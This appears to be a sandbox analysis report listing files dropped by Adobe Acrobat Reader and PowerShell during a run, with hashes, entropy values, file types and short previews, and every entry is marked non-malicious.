Preview:	{"analyticsData":{"responseGUID":"2bd363f8-8b9b-40dd-9c35-ce8288aa6ab5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704283021,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.241232107338987
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFxiH7pYY+FIbRI6XVW7+0Ym8foAvJfshHHrPeUkwRe9:YvXKXF8pY5YpW7XjGUUUkee9
MD5:	AC95B2BD8393E2F35A960D142D3CD7E7
SHA1:	F82699F82406582D797FCA7F1991B8AD8B1F3F65
SHA-256:	060DB364C10B7CD9046F4E907AB76CCC9B2A44C4466B775C556925E5B19DAD0B
SHA-512:	CAA650CA63D936118BAF2FEF94C5CDBEF1043B80CA6C147B4B5CB6733915B59F3813D4A9FA683E8CD39C36BD9494DA4276F102E7F7C87DCCCC0A06018FA04A34
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bd363f8-8b9b-40dd-9c35-ce8288aa6ab5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704283021,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.252061008289991
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFxiH7pYY+FIbRI6XVW7+0Ym8foAvJTqgFCrPeUkwRe9:YvXKXF8pY5YpW7XjGTq16Ukee9
MD5:	135E01D1FECFD8E39C57D51B4F795DBC
SHA1:	3996456BA215B545B037119E1946133DFD90F652
SHA-256:	934099B6F27D2206D7A66715EC92E9AEDB3482679614150CFDCEE1E4E23B2DA0
SHA-512:	09DA1464359EBE63645C78EB98E18EC246F932266B2B5D27062E660BFBB6EEBB3CD2E98286D93F724DC413269DC6AFA30AC0F437F4A439DB8F61179D3ED59BDD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bd363f8-8b9b-40dd-9c35-ce8288aa6ab5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704283021,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.133811888848876
Encrypted:	false
SSDEEP:	48:Y3ZRijrOqJbC2RYSEusIBcP/F+MsLPj8Gyz4LTRp99w+Bf:jJb7LLjBLkGyz+Pjx
MD5:	97023EADD80D156F9E7D6F6B88BBA563
SHA1:	C305C5DC076C58CA6B9A8CFF503BA16ED3BBAE78
SHA-256:	B3D81D7E44DC604C62EBDE800ABA9238CF3D841490E9EDC953895E1DC483D7B6
SHA-512:	B62897963780B9A562C531BE90F902C8676C1C5BA582CEE85F27B48B9C62EE5835D4974CBC7DD02A9CF14CCAF90FA59BF8F5295353107352172C8B0A48D32F0D
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2e59de29796aecc73c6ef46bcdc521ac","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736529292000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e7a70b10eb8a93b09028205fda717f47","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736529292000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"07dece4b6616a63d305d8758edef5323","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736529292000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"7f135eb7466be34515ce33b22102f421","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736529292000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"75e4ebd2f55918debf95f59ae24b72a2","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736529292000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"21b83eb40d05b3339546f178ec7b8d7e","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9839966566283982
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Spgdl4zJwtNBwtNbRZ6bRZ4TdlF:TVl2GL7ms6ggOVpgAzutYtp6PCd
MD5:	8FD547959105419E4202568B435299E9
SHA1:	EA2D06C90078441AC231A5872A2B5EC2CADB492E
SHA-256:	403576B1B7EFEE5CD2F16DE4612714AA01DE73D7506D4CC5A46EB38CFCB734AC
SHA-512:	5125927301886887B288DEA06C53CBFE2DA84864829D00FEF9D9DE77F2A37A3A26C1498BBF895C1121219B85A2D144E5EFF84518C460379F4E84F42DAB5A00A6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.337504244115879
Encrypted:	false
SSDEEP:	24:7+tEAD1RZKHs/Ds/SpgdlPzJwtNBwtNbRZ6bRZWf1RZKWqLBx/XYKQvGJF7urs6f:7MEGgOVpgnzutYtp6PMbqll2GL7msO
MD5:	15A732B09D425CDB52CBB26A08BFCE4A
SHA1:	27BAF6A05C0A4E9A8E07FB9EA10C6A50875D3EAE
SHA-256:	348637AE2D59F4B685C817E1AF72E78B8448160C585E9793787651E6E022E8B8
SHA-512:	15FAC9C20F6AA1F2558759CD19FDE067AE1034B185DF11C5661D0CCF84B4021C88DAB47053545909CFE379E8F6A8E5BE3406E59A06E44A9103FFA5E0F55BBFC4
Malicious:	false
Preview:	.... .c......#........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgNcQeS3mvTF5qQJTdS4r3MEfcXPYyu:6a6TZ44ADENcImzqQJuEfMPK
MD5:	A1D4422B736DF0833FF1E0FD99A7AF28
SHA1:	3F8FCB2503C856E23FD347CE5EC9BA397E1EB150
SHA-256:	FA12C68108F311FF489E46110520A3D004C1E80B9A5B04AB8417EC723E0FFE8B
SHA-512:	4B151A70AF6973E7B79C7F22A99B69B1794AC81542D87F16E5027047CB44257ED380BBD4166F0BBCF26ACF2B772E893561E32A07F63E78556A145B5FB710B9A2
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulFuPh:NllUUP
MD5:	CC47C65E9D7FF52BEBF356F8F22FCCF9
SHA1:	25AC4580D6C84DB6F2675161368A5B89A48AB692
SHA-256:	CB1B97C689468D47FCDB7116ACBBEE0A8AC183F9C27517ABC376E57EC666C8D3
SHA-512:	882F88AF5A2C636C9949E24056105407E8C007643B49452EED7397B338AAC859B457F72901900A545B5474258CA15411158CEF34ABB512494C188843349AE601
Malicious:	false
Preview:	@...e.................................T.:............@..........

C:\Users\user\AppData\Local\Temp\MSId4482.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4973455600014702
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3Glmw:Qw946cPbiOxDlbYnuRK+bD3Glmw
MD5:	1B918EF9B0EA2A5ACA01DC35A5ED12B6
SHA1:	06D02FFB77E35258F665BE2C7E6729EF2E2F49BB
SHA-256:	9876D7BD0946758CA46A41C65F20FA62E0E4171DDCD3B211F2E78CCBD752CA03
SHA-512:	7C20C9F1D64A0A3F718C80F50D5E0527993425C9C33CA294463C18B81CB9B36B694143FDA41FDFDE2135F90B4FBAD31888C759E951F50CD2E730F66466C6E85A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.1.4.:.5.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_csqipi0o.myn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ponoqtsq.txf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-14-48-786.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.351337784556192
Encrypted:	false
SSDEEP:	384:kAOxWQjJSL+ZhcWasM3OBvan7M5lDkMv3IoEyqFpxFOVQymP3PUfA1m1IdTtVtlt:ihxWnZ
MD5:	6733D16FEDB464AF92D0984955A636D0
SHA1:	B84153848F14540028E7514A43FFFC56B381FEE6
SHA-256:	6E2ECD1D0ABFB3155FEEE3EA88CFC5ACA1773C1F508CE63F61328F5230A21602
SHA-512:	6520102DFE89BBCB3BEDAC82DE9981272F0FF906AF93FC4E4595F3B11CA74D92F43238541E707ACF110CB5452185950CE1C4C26CCE9558F22242C0C792985925
Malicious:	false
Preview:	SessionID=8095b69c-2701-4131-8caf-8bce36570c50.1736529288803 Timestamp=2025-01-10T12:14:48:803-0500 ThreadID=7784 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8095b69c-2701-4131-8caf-8bce36570c50.1736529288803 Timestamp=2025-01-10T12:14:48:804-0500 ThreadID=7784 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8095b69c-2701-4131-8caf-8bce36570c50.1736529288803 Timestamp=2025-01-10T12:14:48:804-0500 ThreadID=7784 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8095b69c-2701-4131-8caf-8bce36570c50.1736529288803 Timestamp=2025-01-10T12:14:48:804-0500 ThreadID=7784 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8095b69c-2701-4131-8caf-8bce36570c50.1736529288803 Timestamp=2025-01-10T12:14:48:804-0500 ThreadID=7784 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.393077072618282
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbB:ft
MD5:	7701C57CC1CBEC9AE9A982EB4D71D4A2
SHA1:	7E9DF33EB1E55743A1B723E4D3D9ACE105733191
SHA-256:	85F1836463490D6C9C15BF8D06071C0D83FA071E74D19332315F1B035DEA9A12
SHA-512:	DC72DA3707641C941E60FE478561A75D35F38D2386B39FB393A7B1BC06CD5B59C7622085252A54653DC5C253EEECCB5B55323777DBCC3BF1D7B3D93E2CFD5618
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\69cb50a7-ba91-4d33-8821-98703966f139.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\6cc32b95-1d4b-48a4-8d94-b31f6b2f3c61.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\73c3ef25-2fdd-482a-8380-5f52da596363.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fcf0328f-1924-40ce-960e-203e8408ba40.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..